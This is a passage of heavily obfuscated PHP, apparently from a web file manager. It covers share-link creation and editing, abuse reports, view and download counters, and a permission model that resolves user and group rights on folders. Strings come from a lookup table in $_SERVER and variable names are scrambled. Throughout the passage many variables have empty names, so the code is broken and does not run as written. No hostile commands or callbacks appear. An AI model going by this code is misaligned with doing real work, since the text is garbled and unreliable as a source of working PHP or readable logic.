array_to_keyvalue_group($ȳ[$ಢ[420]], $ಢ[640]); if (!$) { return $ȳ; } $ҵݽ = $ಢ[2105]; $ˋ = array($ಢ[640] => array($ಢ[467], array_keys($)), $ಢ[1753] => array($ಢ[1064], $ಢ[219])); $і = $this->field($ҵݽ)->where($ˋ)->select(); foreach ($і as $Ω => &$) { $[$ಢ[2101]] = $[$[$ಢ[640]]]; } unset($); $ػ = array($ಢ[2106] => $і, $ಢ[2107] => $ȳ[$ಢ[417]]); return $ػ; } protected function shareAdd($, $) { $국 =& $_SERVER[]; $ڧ = $this->_addShareData($, $); if (!empty($[$국[2108]])) { $this->_shareAuthSet($ڧ, $[$국[2108]]); } $this->shareEventAdd($, $, $국[2109]); return $ڧ; } protected function shareAddSystem($Ä, $րŕ) { $≸ =& $_SERVER[]; $ۙț = $this->_addShareData($Ä, $րŕ, $≸[182]); $this->_shareAuthSet($ۙț, $րŕ[$≸[2108]]); return $ۙț; } private function shareEventAdd($к, $幫, $؅ = "\x61\144\x64") { $ =& $_SERVER[]; if (!$к || $к == $[219]) { return; } if ($؅ == $[2109]) { if ($幫[$[538]] == $[91]) { Model($[608])->eventShare($к, $[2110]); } if ($幫[$[638]] == $[91]) { Model($[608])->eventShare($к, $[2111]); } return; } $ = $this->getInfoByPath($к); $Ღ = $[2112]; if ($[$[538]] == $[219] && $幫[$[538]] == $[91]) { $Ღ = $[2110]; } if ($[$[538]] == $[91] && $幫[$[538]] == $[219]) { $Ღ = $[2113]; } if ($[$[638]] == $[219] && $幫[$[638]] == $[91]) { $Ღ = $[2111]; } if ($[$[638]] == $[91] && $幫[$[638]] == $[219]) { $Ღ = $[2114]; } Model($[608])->eventShare($к, $Ღ); return; } private function _addShareData($, $ = array(), $ = false) { $ =& $_SERVER[]; $ƾ = $ == $[182] ? 0 : USER_ID; $¿ = array($[466] => $, $[1744] => $ƾ); if ($ == 0) { $¿ = array($[2115] => $[$[1229]], $[1744] => $ƾ); } if ($а = $this->where($¿)->find()) { return $а[$[640]]; } if ($ == 0) { $ײ˧ = array($[32] => get_path_this($[$[87]])); } else { $ײ˧ = Model($[869])->sourceInfo($); if (!$ײ˧) { return !1; } } if (!$[$[1643]]) { $[$[1643]] = $ײ˧[$[32]]; } $߬ = array($[1744] => $ƾ, $[466] => $, $[1643] => $[12], $[538] => 0, $[638] => 0, $[1229] => $[12], $[358] => $[12], $[937] => $[12], $[2116] => 0, $[2117] => 0, $[806] => 0, $[2118] => $[12], $[2099] => $[12]); $ӂ = explode($[50], $[2119]); foreach ($ӂ as $) { if (!isset($[$])) { continue; } $߬[$] = $[$]; } $అ = $this->add($߬); $ٚ = array($[2099] => short_id($అ)); $this->where(array($[2120] => $అ))->save($ٚ); return $అ; } private function _shareAuthSet($ߪѳ, $˪) { $ƻ㾐 =& $_SERVER[]; if (!is_array($˪)) { return !1; } $쿛 = Model($ƻ㾐[2065]); $쿛->where(array($ƻ㾐[640] => $ߪѳ))->delete(); $푳 = array(); foreach ($˪ as $⏅) { $ᐵ = SourceModel::TYPE_USER; if ($⏅[$ƻ㾐[181]] == SourceModel::TYPE_GROUP) { $ᐵ = SourceModel::TYPE_GROUP; } $ = array($ƻ㾐[640] => $ߪѳ, $ƻ㾐[181] => $ᐵ, $ƻ㾐[545] => intval($⏅[$ƻ㾐[545]]), $ƻ㾐[2061] => 0, $ƻ㾐[2121] => -1); if ($⏅[$ƻ㾐[2061]]) { $[$ƻ㾐[2061]] = $⏅[$ƻ㾐[2061]]; } else { if ($⏅[$ƻ㾐[2121]]) { $[$ƻ㾐[2121]] = $⏅[$ƻ㾐[2121]]; } } $푳[] = $; } return $쿛->addAll($푳, array(), !0); } public function numViewAdd($) { $Ü =& $_SERVER[]; $Ǟ = array($Ü[2120] => $); $this->where($Ǟ)->setAdd($Ü[2116]); } public function numDownloadAdd($) { $ =& $_SERVER[]; $Û = array($[2120] => $); $this->where($Û)->setAdd($[2117]); } protected function shareEdit($, $ұ) { $ѿ =& $_SERVER[]; $Ӗ = $this->getInfo($); if (!$Ӗ) { return !1; } $this->_checkLinkShare($ұ, $Ӗ); $Βɰ = array(); $ڡ = explode($ѿ[50], $ѿ[2122]); foreach ($ڡ as $NJ) { if (!array_key_exists($NJ, $ұ)) { continue; } $Βɰ[$NJ] = $ұ[$NJ]; } $this->shareEventAdd($Ӗ[$ѿ[184]], $ұ, $ѿ[1922]); $this->where(array($ѿ[2120] => $))->save($Βɰ); if (isset($ұ[$ѿ[2108]])) { $this->_shareAuthSet($, $ұ[$ѿ[2108]]); } return !0; } private function _checkLinkShare($Ő, $䲠) { $ݤ轈 =& $_SERVER[]; if ($Ő[$ݤ轈[538]] != $ݤ轈[91]) { return; } $ؚ = $䲠[$ݤ轈[90]][$ݤ轈[184]]; if ($䲠[$ݤ轈[90]][$ݤ轈[33]] != $ݤ轈[221]) { $ = $this->_folderReport($ؚ); if (!$) { return; } show_json(LNG($ݤ轈[2123]) . $ݤ轈[2124] . $, !1); } $ = Model($ݤ轈[869])->fileInfoGet($䲠[$ݤ轈[90]][$ݤ轈[184]]); if (!$) { return; } $ = $this->shareFileMeta($[$ݤ轈[516]]); if (isset($[$ݤ轈[425]]) && $[$ݤ轈[425]] == $ݤ轈[91]) { show_json(LNG($ݤ轈[2125]), !1); } } private function _folderReport($Ҥ) { $͂ =& $_SERVER[]; $ = array($͂[516] => array($͂[1062], 0), $͂[795] => 3); $⎕ = Model($͂[2126])->where($)->field($͂[516])->select(); if (!$⎕) { return !1; } $⎕ = array_to_keyvalue($⎕, $͂[12], $͂[516]); $ɟ = $͂[50] . $Ҥ . $͂[50]; $ = array($͂[516] => array($͂[7], $⎕), $͂[560] => array($͂[434], "\x25{$ɟ}\x25"), $͂[480] => 0); $˯ = Model($͂[869])->where($)->field($͂[2127])->find(); if (!$˯) { return !1; } $ƈ = substr($˯[$͂[560]], strpos($˯[$͂[560]], $ɟ)); $ = array($͂[184] => array($͂[7], trim($ƈ, $͂[50]))); $ۋ = Model($͂[869])->where($)->field($͂[32])->select(); $ˮ = array_to_keyvalue($ۋ, $͂[12], $͂[32]); $ˮ[] = $˯[$͂[32]]; return implode($͂[8], $ˮ); } protected function remove($) { $Ė =& $_SERVER[]; if (is_array($)) { $ = array($Ė[7], $); } $ = array($Ė[640] => $); $Ťܒ = $this->where($)->delete(); if ($Ťܒ) { Model($Ė[641])->where(array($Ė[640] => $))->delete(); } $ = is_array($) ? $[1] : array($); for ($ = 0; $ < count($); $++) { $Õ = $this->getInfo($[$]); if ($Õ[$Ė[638]] == $Ė[91]) { Model($Ė[608])->eventShare($Õ[$Ė[184]], $Ė[2114]); } if ($Õ[$Ė[538]] == $Ė[91]) { Model($Ė[608])->eventShare($Õ[$Ė[184]], $Ė[2113]); } } return $Ťܒ; } protected function removeBySource($) { $˖ =& $_SERVER[]; $„̖ = array($˖[466] => array($˖[467], $)); $˖ = $this->field($˖[640])->where($„̖)->select(); $˖ = array_to_keyvalue($˖, $˖[12], $˖[640]); if (!$˖) { return; } $„̖ = array($˖[2120] => array($˖[467], $˖)); $this->where($„̖)->delete(); Model($˖[641])->where($„̖)->delete(); } public function listAll($҃) { $ =& $_SERVER[]; $ = array(); if ($҃[$[1753]]) { $[$[1753]] = $҃[$[1753]]; } if ($҃[$[805]]) { $ = $҃[$[806]] ? $҃[$[806]] : strtotime(date($[2128])); $[$[222]] = array($[384], array($҃[$[805]], $)); } if ($҃[$[33]]) { $[$҃[$[33]]] = 1; } else { $[] = array($[538] => array($[1062], 0), $[638] => array($[1062], 0), $[2102] => $[2055]); } if ($҃[$[2051]]) { $[] = array($[2099] => $҃[$[2051]], $[1643] => array($[434], "\45{$҃[$[2051]]}\x25"), $[2102] => $[2055]); } $ܒ = $this->_makeOrder()->where($)->selectPage(20); if (empty($ܒ[$[420]])) { return array(); } $this->_listDataApply($ܒ[$[420]]); return $ܒ; } public function listDataApply($նҁ) { $this->_listDataApply($նҁ); return $նҁ; } private function _listDataApply(&$ā) { $ =& $_SERVER[]; $ނ = array_to_keyvalue($ā, $[12], $[1753]); $уͽ = Model($[574])->userListInfo(array_unique($ނ)); $䅊 = array_to_keyvalue($ā, $[12], $[184]); $ֲ = Model($[869])->sourceListInfo($䅊, !0); foreach ($ā as $ => &$ò) { $ = $ò[$[1753]]; $ò[$[2129]] = $уͽ[$] ? $уͽ[$] : !1; $Ώ = $ò[$[184]]; $ò[$[90]] = $ֲ[$Ώ] ? $ֲ[$Ώ] : !1; if ($ò[$[90]][$[480]] == $[91]) { unset($ā[$]); } if ($ò[$[90]] != $[219] && !$ò[$[90]]) { unset($ā[$]); } } unset($ò); $ā = array_values($ā); } private function _makeOrder($ = '') { $ؖ =& $_SERVER[]; $ = array($ؖ[222], $ؖ[806], $ؖ[2116], $ؖ[2117]); $ = array($ؖ[498] => $ؖ[499], $ؖ[500] => $ؖ[501]); $ܓ = Input::get($ؖ[505], $ؖ[7], $ؖ[472], $); $ = Input::get($ؖ[506], $ؖ[7], $ؖ[2130], array($ؖ[2048], $ؖ[500])); $ = $[$]; $ = $ . "{$ܓ}\40{$}"; return $this->order($); } public function reportAdd($ɲ) { $Ñ =& $_SERVER[]; $ȹ = array($Ñ[640] => $ɲ[$Ñ[640]], $Ñ[1753] => USER_ID); if (Model($Ñ[2126])->where($ȹ)->find()) { return !1; } $ɔ = array($Ñ[640] => $ɲ[$Ñ[640]], $Ñ[1643] => $ɲ[$Ñ[1643]], $Ñ[184] => $ɲ[$Ñ[184]], $Ñ[516] => $ɲ[$Ñ[516]], $Ñ[1753] => USER_ID, $Ñ[33] => $ɲ[$Ñ[33]], $Ñ[501] => $ɲ[$Ñ[501]]); return Model($Ñ[2126])->add($ɔ); } public function reportList($) { $춗 =& $_SERVER[]; $р = array(); if ($[$춗[805]]) { $ = $[$춗[806]] ? $[$춗[806]] : strtotime(date($춗[2128])); $р[$춗[222]] = array($춗[384], array($[$춗[805]], $)); } if (isset($[$춗[33]]) && in_array($[$춗[33]], array($춗[91], $춗[485], $춗[2131], $춗[2132], $춗[2133]))) { $р[$춗[33]] = $[$춗[33]]; } if (isset($[$춗[795]]) && in_array($[$춗[795]], array($춗[219], $춗[91], $춗[485], $춗[2131]))) { $р[$춗[795]] = $[$춗[795]]; } $Õ = Input::get($춗[506], $춗[7], $춗[2130], array($춗[2048], $춗[500])); $辈 = array($춗[498] => $춗[499], $춗[500] => $춗[501]); $ = $춗[2134] . $辈[$Õ]; $̏ = Model($춗[2126])->where($р)->order($)->selectPage(20); if (empty($̏[$춗[420]])) { return array(); } $ = array_to_keyvalue_group($̏[$춗[420]], $춗[795], $춗[640]); if (!empty($[0])) { $ = $[0]; $р = array($춗[640] => array($춗[7], $)); $ƹ = $this->where($р)->field($춗[640])->select(); $ƹ = array_to_keyvalue($ƹ, $춗[12], $춗[640]); $Ұ = array_diff($, $ƹ); if (!empty($Ұ)) { foreach ($̏[$춗[420]] as $ => $ުп) { if (in_array($ުп[$춗[640]], $Ұ)) { unset($̏[$춗[420]][$]); } } } } $this->_listDataApply($̏[$춗[420]]); return $̏; } public function reportStatus($܎) { $֎ =& $_SERVER[]; $̼ = array($֎[450] => $܎[$֎[450]]); $۟ = Model($֎[2126])->where($̼)->field($֎[2135])->find(); if (!$۟) { return !1; } $啿 = array($֎[795] => $܎[$֎[795]]); if ($܎[$֎[795]] == $֎[2131] && $۟[$֎[795]] == $֎[2131]) { $啿[$֎[795]] = 0; } $͑ = Model($֎[2126])->where($̼)->save($啿); if ($܎[$֎[795]] == $֎[485]) { if ($۟[$֎[516]] != $֎[219] && $this->shareFileMeta($۟[$֎[516]])) { $this->shareFileMeta($۟[$֎[516]], 0); } $this->remove($۟[$֎[640]]); return !0; } if ($͑ && $܎[$֎[795]] == $֎[2131]) { $ৠ = $啿[$֎[795]] == $֎[2131] ? 1 : 0; $this->shareFileMeta($۟[$֎[516]], $ৠ); $this->removeByFile($۟[$֎[516]]); } return $͑; } private function removeByFile($С) { $饠 =& $_SERVER[]; $ζ = Model($饠[869])->where(array($饠[516] => $С))->field($饠[184])->select(); $ = array_to_keyvalue($ζ, $饠[12], $饠[184]); $ȩ = array($饠[184] => array($饠[7], $), $饠[538] => 1); $ζ = $this->where($ȩ)->field($饠[640])->select(); if (empty($ζ)) { return; } $ұߙ = array_to_keyvalue($ζ, $饠[12], $饠[640]); $this->remove($ұߙ); } private function shareFileMeta($, $۠ = null) { $ܵ =& $_SERVER[]; $ͻ = array($ܵ[516] => $, $ܵ[97] => $ܵ[2136]); if (is_null($۠)) { return Model($ܵ[2137])->where($ͻ)->find(); } $ͻ[$ܵ[425]] = $۠; Model($ܵ[2137])->add($ͻ, array(), !0); } } class SourceAuthModel extends ModelBase { protected $tableName = "\x69\x6f\137\163\157\x75\x72\x63\145\x5f\141\x75\x74\150"; public function getAuth($ߊ) { $ =& $_SERVER[]; $ぷ = $this->sourceAuthSelect($ߊ); $؆ = array(); $ذ = array(); $҉ = 2 << 25; foreach ($ぷ as $ː) { $ހ = Model($[547])->listData($ː[$[2061]]); if (!$ހ) { continue; } $؆[] = $ː; $ = 0; if ($ː[$[181]] == SourceModel::TYPE_GROUP) { $ = $҉ * 2; } if ($ː[$[181]] == SourceModel::TYPE_USER) { $ = $҉; } if ($ː[$[181]] == SourceModel::TYPE_USER && $ː[$[545]] == $[219]) { $ = 0; } $ذ[] = $ހ[$[462]] + $; } array_multisort($ذ, SORT_DESC, $؆); return $؆; } public function sourceAuthSelect($ө) { $肤 =& $_SERVER[]; static $޻ = array(); $ = is_array($ө) ? !1 : !0; if ($) { $ө = array($ө); } $打 = array(); foreach ($ө as $߶) { if (isset($޻[$߶])) { $打[$߶] = $޻[$߶]; } } if (count($打) == count($ө)) { return $ ? $打[$ө[0]] : $打; } $ح = $肤[2138]; $ = array($肤[184] => array($肤[7], $ө)); $ӧ = $this->field($ح)->order($肤[450])->where($)->select(); $Ě˺ = array_to_keyvalue_group($ӧ, $肤[184]); foreach ($ө as $߶) { $޻[$߶] = $Ě˺[$߶] ? $Ě˺[$߶] : array(); } if ($) { return $ӧ; } return $Ě˺; } public function setAuth($ʷ, $΅) { $ރ =& $_SERVER[]; $ = Model($ރ[1388])->sourceInfo($ʷ); if (!$) { return !1; } if ($[$ރ[181]] != SourceModel::TYPE_GROUP) { return !1; } $ڏ = 1; $ = $[$ރ[545]]; if ($ != $ڏ) { $ɿޠ = array($ރ[1952] => $); $ = Model($ރ[2047])->field($ރ[1753])->where($ɿޠ)->select(); $ = array_to_keyvalue($, $ރ[12], $ރ[1753]); } $ڀѼ = array(SourceModel::TYPE_GROUP, SourceModel::TYPE_USER); $᥋ = array(); foreach ($΅ as $) { if (!in_array($[$ރ[181]], $ڀѼ)) { show_json(LNG($ރ[2139]), !1); } if ($ != $ڏ) { if ($[$ރ[181]] == SourceModel::TYPE_GROUP) { } if ($[$ރ[545]] != 0 && !in_array($[$ރ[545]], $)) { } } if ($[$ރ[545]] == 0) { $[$ރ[181]] = SourceModel::TYPE_USER; } $᥋[] = array($ރ[184] => $ʷ, $ރ[181] => intval($[$ރ[181]]), $ރ[545] => intval($[$ރ[545]]), $ރ[2061] => intval($[$ރ[2061]]) ? intval($[$ރ[2061]]) : 0, $ރ[2121] => intval($[$ރ[2121]]) ? intval($[$ރ[2121]]) : -1); } $this->where(array($ރ[466] => $ʷ))->delete(); $this->addAll($᥋); return !0; } public function authClear($) { $򐶛 =& $_SERVER[]; $ = Model($򐶛[1388])->sourceInfo($); $ = array($); if ($[$򐶛[460]] == $򐶛[91]) { $ = array($򐶛[627] => array($򐶛[587], $[$򐶛[560]] . $ . $򐶛[588])); $ = Model($򐶛[1388])->field($򐶛[466])->where($)->getField($򐶛[184], !0); $[] = $; } $this->where(array($򐶛[466] => array($򐶛[467], $)))->delete(); return !0; } public function getAllChildren($տ) { $ =& $_SERVER[]; $ = Model($[1388])->sourceInfo($տ); if ($[$[460]] != $[91]) { return $this->sourceListAuth(array($տ)); } if ($[$[181]] != SourceModel::TYPE_GROUP) { return array(); } $գӉ = 1; $ = array($տ); if ($[$[183]] == $[219] && $[$[545]] != $գӉ) { $ = $this->groupChidldAllRootSource($[$[545]]); } $†ս = $this->field($[184])->group($[184])->select(); $†ս = array_to_keyvalue($†ս, $[12], $[184]); if (!$†ս) { return array(); } $ތ = $[2140]; $ފ = array($[184] => array($[7], $†ս), $[480] => $[219]); $Ŷ = Model($[869])->field($ތ)->where($ފ)->select(); $ = array($տ); foreach ($Ŷ as $봝) { foreach ($ as $) { $ = $[50] . $ . $[50]; $ۿ = $봝[$[560]] . $봝[$[184]] . $[50]; if (strstr($ۿ, $)) { $[] = $봝[$[184]]; break; } } } return $this->sourceListAuth($); } private function sourceListAuth($) { $˞ =& $_SERVER[]; $ެ = Model($˞[1388])->sourceListInfo($, !0); $֗ǃ = $this->sourceAuthSelect($); $֡ń = array(); $ = array(); foreach ($ެ as $ܚ) { unset($ܚ[$˞[504]]); unset($ܚ[$˞[502]]); unset($ܚ[$˞[462]]); unset($ܚ[$˞[90]]); $睅 = $֗ǃ[$ܚ[$˞[184]]]; if (!$睅) { continue; } $ܚ[$˞[2141]] = $this->authTargetInfo($睅); $ܚ[$˞[558]] = rtrim($ܚ[$˞[564]], $˞[8]) . $˞[8] . ltrim($ܚ[$˞[558]], $˞[8]); $֡ń[] = $ܚ; $ȅ = count(explode($˞[8], trim($ܚ[$˞[558]], $˞[8]))); $[] = $ȅ + ($ܚ[$˞[33]] == $˞[78] ? 0 : 1000); } array_multisort($, SORT_ASC, $֡ń); return $֡ń; } private function groupChidldAllRootSource($ȯ) { $ =& $_SERVER[]; $©Ɂ = Model($[2142])->groupChildrenAll($ȯ); $鐏 = array($[183] => 0, $[545] => array($[7], $©Ɂ), $[181] => SourceModel::TYPE_GROUP); $ = Model($[869])->field($[184])->where($鐏)->select(); $ = array_to_keyvalue($, $[12], $[184]); return $; } private function authTargetInfo($糴ׇ) { $≫ =& $_SERVER[]; $Ɂ = array(); $ӝƣ = array(); $ݳރ = 2 << 25; foreach ($糴ׇ as $) { $̔ = Model($≫[547])->listData($[$≫[2061]]); if (!$̔) { continue; } if ($[$≫[181]] == SourceModel::TYPE_USER) { $ = Model($≫[553])->getInfoSimpleOuter($[$≫[545]]); if ($[$≫[1753]] == $≫[1242]) { continue; } if ($[$≫[1753]] == $≫[219]) { $[$≫[32]] = LNG($≫[2143]); } } else { $ = Model($≫[561])->getInfoSimple($[$≫[545]]); } if (!$) { continue; } $[$≫[515]] = $̔; $Ɂ[] = $; $ = 0; if ($[$≫[181]] == SourceModel::TYPE_GROUP) { $ = $ݳރ * 2; } if ($[$≫[181]] == SourceModel::TYPE_USER) { $ = $ݳރ; } if ($[$≫[181]] == SourceModel::TYPE_USER && $[$≫[545]] == $≫[219]) { $ = 0; } $ӝƣ[] = $̔[$≫[462]] + $; } array_multisort($ӝƣ, SORT_DESC, $Ɂ); return $Ɂ; } public function getAllChildrenByUser($擜, $ߗ) { $Հ =& $_SERVER[]; $熮 = Model($Հ[574])->getInfo($ߗ); if (!$ߗ || !$擜 || !$熮) { return array(); } $𯷴 = Model($Հ[1388])->sourceInfo($擜); $։ = array(); $Ԝ = 1; if ($𯷴[$Հ[183]] == $Հ[219] && $𯷴[$Հ[545]] != $Ԝ && $this->groupContainUser($𯷴[$Հ[545]], $ߗ)) { foreach ($熮[$Հ[2144]] as $ߤ) { $ = Model($Հ[561])->getInfo($ߤ[$Հ[1952]]); $ͬ = Model($Հ[574])->getInfoSimpleOuter($ߗ); $ͬ[$Հ[515]] = $ߤ[$Հ[462]]; if (Model($Հ[547])->authCheckAction($ߤ[$Հ[462]][$Հ[462]], $Հ[1973])) { continue; } $Ï = array($Հ[32] => $Հ[1262] . $[$Հ[32]], $Հ[184] => $[$Հ[90]][$Հ[184]], $Հ[87] => KodIO::make($[$Հ[90]][$Հ[184]]), $Հ[183] => $Հ[219], $Հ[181] => $Հ[554], $Հ[33] => $Հ[591], $Հ[558] => $[$Հ[565]], $Հ[1952] => $[$Հ[1952]], $Հ[562] => $[$Հ[183]], $Հ[2141] => array($ͬ)); $։[$Ï[$Հ[184]]] = $Ï; } } $ݚ̝ = array(); $ = $this->getAllChildren($擜); foreach ($ as $) { $ = !1; foreach ($[$Հ[2141]] as $ݼ) { if ($ݼ[$Հ[1753]]) { if ($ݼ[$Հ[1753]] == $ߗ) { $ = !0; break; } } if ($ݼ[$Հ[1952]]) { if ($this->groupContainUser($ݼ[$Հ[1952]], $ߗ)) { $ = !0; break; } } } if ($) { $ݚ̝[] = $; } $ = $[$Հ[184]]; if (isset($։[$])) { $[$Հ[2141]][] = $։[$][0]; $։[$] = !1; } } $։ = array_filter(array_values($։)); $ݚ̝ = array_merge($։, $ݚ̝); return $ݚ̝; } public function setAllChildrenByUser($Ҏ, $Ҟ, $) { $Ƌԁ =& $_SERVER[]; $ = $this->getAllChildrenByUser($Ҏ, $Ҟ); if (!$ || !$) { return !1; } foreach ($ as $ȅ) { $× = array(); foreach ($ȅ[$Ƌԁ[2141]] as $Ļڻ) { $ = $Ļڻ[$Ƌԁ[515]]; $ = $Ļڻ[$Ƌԁ[1753]] ? SourceModel::TYPE_USER : SourceModel::TYPE_GROUP; $؆ = $Ļڻ[$Ƌԁ[1753]] ? $Ļڻ[$Ƌԁ[1753]] : $Ļڻ[$Ƌԁ[1952]]; if ($Ļڻ[$Ƌԁ[1753]] && $Ļڻ[$Ƌԁ[1753]] == $Ҟ) { continue; } $×[] = array($Ƌԁ[184] => $ȅ[$Ƌԁ[184]], $Ƌԁ[181] => $, $Ƌԁ[545] => intval($؆), $Ƌԁ[2061] => isset($[$Ƌԁ[450]]) ? intval($[$Ƌԁ[450]]) : 0, $Ƌԁ[2121] => isset($[$Ƌԁ[2121]]) ? intval($[$Ƌԁ[2121]]) : -1); } $×[] = array($Ƌԁ[184] => $ȅ[$Ƌԁ[184]], $Ƌԁ[181] => SourceModel::TYPE_USER, $Ƌԁ[545] => intval($Ҟ), $Ƌԁ[2061] => intval($), $Ƌԁ[2121] => -1); $this->where(array($Ƌԁ[466] => $ȅ[$Ƌԁ[184]]))->delete(); $this->addAll($×); } return !0; } public function get($ӊ) { $ѻ = $this->getSourceList(array($ӊ), !0); return $ѻ[0]; } public function getSourceList($, $셟 = false, $ = false) { $ȓ =& $_SERVER[]; if (!$) { return array(); } $ˆ = Model($ȓ[1388]); if (!$셟 && count($) == 1) { $셟 = array(); $셟[$[0]] = $ˆ->sourceInfo($[0]); } if (!$셟) { $ = array($ȓ[466] => array($ȓ[467], $)); $셟 = $ˆ->field($ȓ[2145])->where($)->select(); $셟 = array_to_keyvalue($셟, $ȓ[184]); } $ = $; foreach ($셟 as $΢ => $) { $ފꂎ = $ˆ->parentLevelArray($[$ȓ[560]]); $ = array_merge($, array($΢), array_reverse($ފꂎ)); } $ = array_values(array_unique($)); if (!$) { return array(); } $ٲ = $this->sourceAuthSelect($); $͆Ԋ = array(); foreach ($ as $) { if (isset($ٲ[$])) { $͆Ԋ[$] = $ٲ[$]; } } $α = $this->userIsRoot($); $ҽ = AuthModel::authAll(); $੦ = array($ȓ[463] => $ҽ, $ȓ[2146] => array($ȓ[468] => 0, $ȓ[1958] => $ҽ, $ȓ[469] => LNG($ȓ[2147]), $ȓ[1975] => $ȓ[2148])); $ = array(); foreach ($셟 as $ => $) { if ($α && $GLOBALS[$ȓ[6]][$ȓ[1971]]) { $[$] = $੦; continue; } $[$] = $this->makeSourceAuth($, $͆Ԋ, $); } return $; } public function authDeepCheck($, $ = false) { $ =& $_SERVER[]; $ = $ ? $ : USER_ID; $Ԇ额 = $this->makeAuthDeep($); if (!in_array($, $Ԇ额[$[2149]])) { return !1; } $櫎 = array(); foreach ($Ԇ额[$[2150]] as $؋ => $) { if (!in_array($, $)) { continue; } $櫎[] = $؋; } if (!$櫎) { return !1; } $ș = $櫎 ? $櫎[0] : $; return array($[463] => -1, $[515] => array($[468] => $[1242], $[1958] => $[219], $[469] => LNG($[2151]), $[1975] => $[2152]), $[2153] => LNG($[2154]), $[2155] => $this->sourceAuthInfo($ș)); } protected function makeAuthDeep($گ = false) { $ܽ =& $_SERVER[]; static $͔ = array(); $گ = $گ ? $گ : USER_ID; if (isset($͔[$گ])) { return $͔[$گ]; } $紇 = Model($ܽ[2156])->listData(); $ܦ = array(); foreach ($紇 as $Ќ) { if ($Ќ[$ܽ[462]] == 0 && $Ќ[$ܽ[1974]] == $ܽ[91]) { $ܦ[] = $Ќ[$ܽ[450]]; } } $ԛ = $this->userGroupParents($گ); $̓ = array($ܽ[181] => SourceModel::TYPE_USER, $ܽ[545] => $گ); if ($ԛ) { $̓ = array(array($ܽ[181] => SourceModel::TYPE_USER, $ܽ[545] => $گ), array($ܽ[181] => SourceModel::TYPE_GROUP, $ܽ[545] => array($ܽ[467], $ԛ)), $ܽ[1050] => $ܽ[2055]); } $ܛ = $this->field($ܽ[2157])->where($̓)->select(); $몬 = array(); $ = array_to_keyvalue_group($ܛ, $ܽ[184]); foreach ($ as $ɣ => $ɉ) { $߽nj = $this->authArrayCheck($ɉ, $گ); if ($߽nj[$ܽ[463]] > 0) { $몬[] = $ɣ . $ܽ[12]; } } if ($ԛ) { $ґ = Model($ܽ[561]); foreach ($ԛ as $) { $Ū͏ = $ґ->getInfo($); if (!$Ū͏ || !is_array($Ū͏[$ܽ[90]])) { continue; } $몬[] = $Ū͏[$ܽ[90]][$ܽ[184]]; } } $ = array(); $ = $ԛ; $좰 = Model($ܽ[1388]); $ґ = Model($ܽ[561]); $ = array(); $´ = array(); $۽ = array(); $ = array(); if ($몬) { $Œ = $좰->where(array($ܽ[184] => array($ܽ[467], $몬)))->select(); foreach ($Œ as $) { $ = $좰->parentLevelArray($[$ܽ[560]]); $ = array_merge($, $); $[] = $[$ܽ[545]]; $[$[$ܽ[184]]] = $; $´[$[$ܽ[184]]] = $[$ܽ[545]]; } } $ = array_values(array_unique($)); $ꎢ = $; foreach ($ꎢ as $) { $Ū͏ = $ґ->getInfo($); $ = $좰->parentLevelArray($Ū͏[$ܽ[560]]); $ = array_merge($, $); } $ = array_values(array_unique($)); foreach ($ as $) { $Ū͏ = $ґ->getInfo($); $[] = $Ū͏[$ܽ[90]][$ܽ[184]]; $۽[$] = $Ū͏[$ܽ[90]][$ܽ[184]]; $[$] = $좰->parentLevelArray($Ū͏[$ܽ[560]]); } foreach ($ as $ => $҉ϒ) { $ֈҗ = $´[$]; if (!$ֈҗ || !$۽[$ֈҗ]) { continue; } $ɢ؜ = array(); foreach ($[$ֈҗ] as $) { $ɢ؜[] = $۽[$]; } $[$] = array_merge($ɢ؜, $҉ϒ); } $ = array_values(array_unique($)); $ũ = array($ܽ[2149] => $, $ܽ[2150] => $); $͔[$گ] = $ũ; return $ũ; } private function makeSourceAuth($Ȁۢ, $, $ = false) { $ =& $_SERVER[]; $ = $[91]; $ = $Ȁۢ[$[545]]; $ߪ = $Ȁۢ[$[181]] == SourceModel::TYPE_GROUP; $ = $ߪ ? $this->groupRootAuth($, $) : !1; if ($ && Model($[547])->authCheckAction($[$[462]], $[1973])) { return $this->groupAuthInfo($, $); } $҈ = Model($[1388])->parentLevelArray($Ȁۢ[$[560]]); $҈ = array_merge(array($Ȁۢ[$[184]]), array_reverse($҈)); $Ɵʎ = !1; foreach ($҈ as $ʊ) { if (!isset($[$ʊ])) { continue; } $ = $this->authMake($[$ʊ], $); if ($[$[515]]) { $Ɵʎ = $; break; } } if (!$ߪ) { return $Ɵʎ; } if (!$Ɵʎ && $) { $Ɵʎ = $this->groupAuthInfo($, $); } if (!$Ɵʎ) { $Ц = Model($[561])->getInfo($); $ = explode($[50], trim($Ц[$[560]], $[50])); $ = array_reverse($); foreach ($ as $ƶ) { if ($ƶ == $[219] || $ƶ == $) { continue; } $طۑ = $this->groupRootAuth($ƶ, $); if (!$طۑ) { continue; } $Ɵʎ = $this->groupAuthInfo($طۑ, $ƶ); break; } } if (!$Ɵʎ || $Ɵʎ[$[463]] <= 0) { $ųɅ = $this->authDeepCheck($Ȁۢ[$[184]], $); if ($ųɅ) { $Ɵʎ = $ųɅ; } } return $Ɵʎ; } private function userIsRoot($Γ = false) { $ =& $_SERVER[]; if (!$Γ && KodUser::isRoot()) { return !0; } $ɢŗ = Model($[574])->getInfo($Γ); $ = Model($[2158])->listData($ɢŗ[$[2159]]); if ($ && $[$[551]][$[2160]] == 1) { return !0; } return !1; } private function sourceAuthInfo($Əͺ) { $˘ =& $_SERVER[]; $ԑ = Model($˘[1388]); $ㆳ = $ԑ->sourceInfo($Əͺ); if (!$ㆳ) { return !1; } $ԑ->groupPathDisplay($ㆳ); $§ = array($ㆳ); $§ = $ԑ->_listAppendPath($§); $ㆳ = $§[0]; $܏њ = $ㆳ[$˘[558]]; if (isset($ㆳ[$˘[566]])) { $ͤ = explode($˘[8], trim($ㆳ[$˘[558]], $˘[8])); array_shift($ͤ); $܏њ = $ㆳ[$˘[564]] . $˘[2161] . implode($˘[8], $ͤ); } return array($˘[469] => $ㆳ[$˘[32]], $˘[87] => KodIO::make($ㆳ[$˘[184]]), $˘[2162] => $܏њ); } private function groupAuthInfo($, $) { $܀ =& $_SERVER[]; $ǂ = Model($܀[561])->getInfo($); return array($܀[2163] => intval($[$܀[462]]), $܀[2146] => $, $܀[2164] => LNG($܀[2165]), $܀[2155] => array($܀[469] => $ǂ[$܀[32]], $܀[87] => KodIO::make($ǂ[$܀[90]][$܀[184]]), $܀[2162] => $ǂ[$܀[565]])); } protected function groupRootAuth($, $ʼ = false) { $ =& $_SERVER[]; $ʼ = $ʼ ? $ʼ : USER_ID; $ƃ = $ʼ . $[2166] . $; static $ = array(); if (isset($[$ƃ])) { return 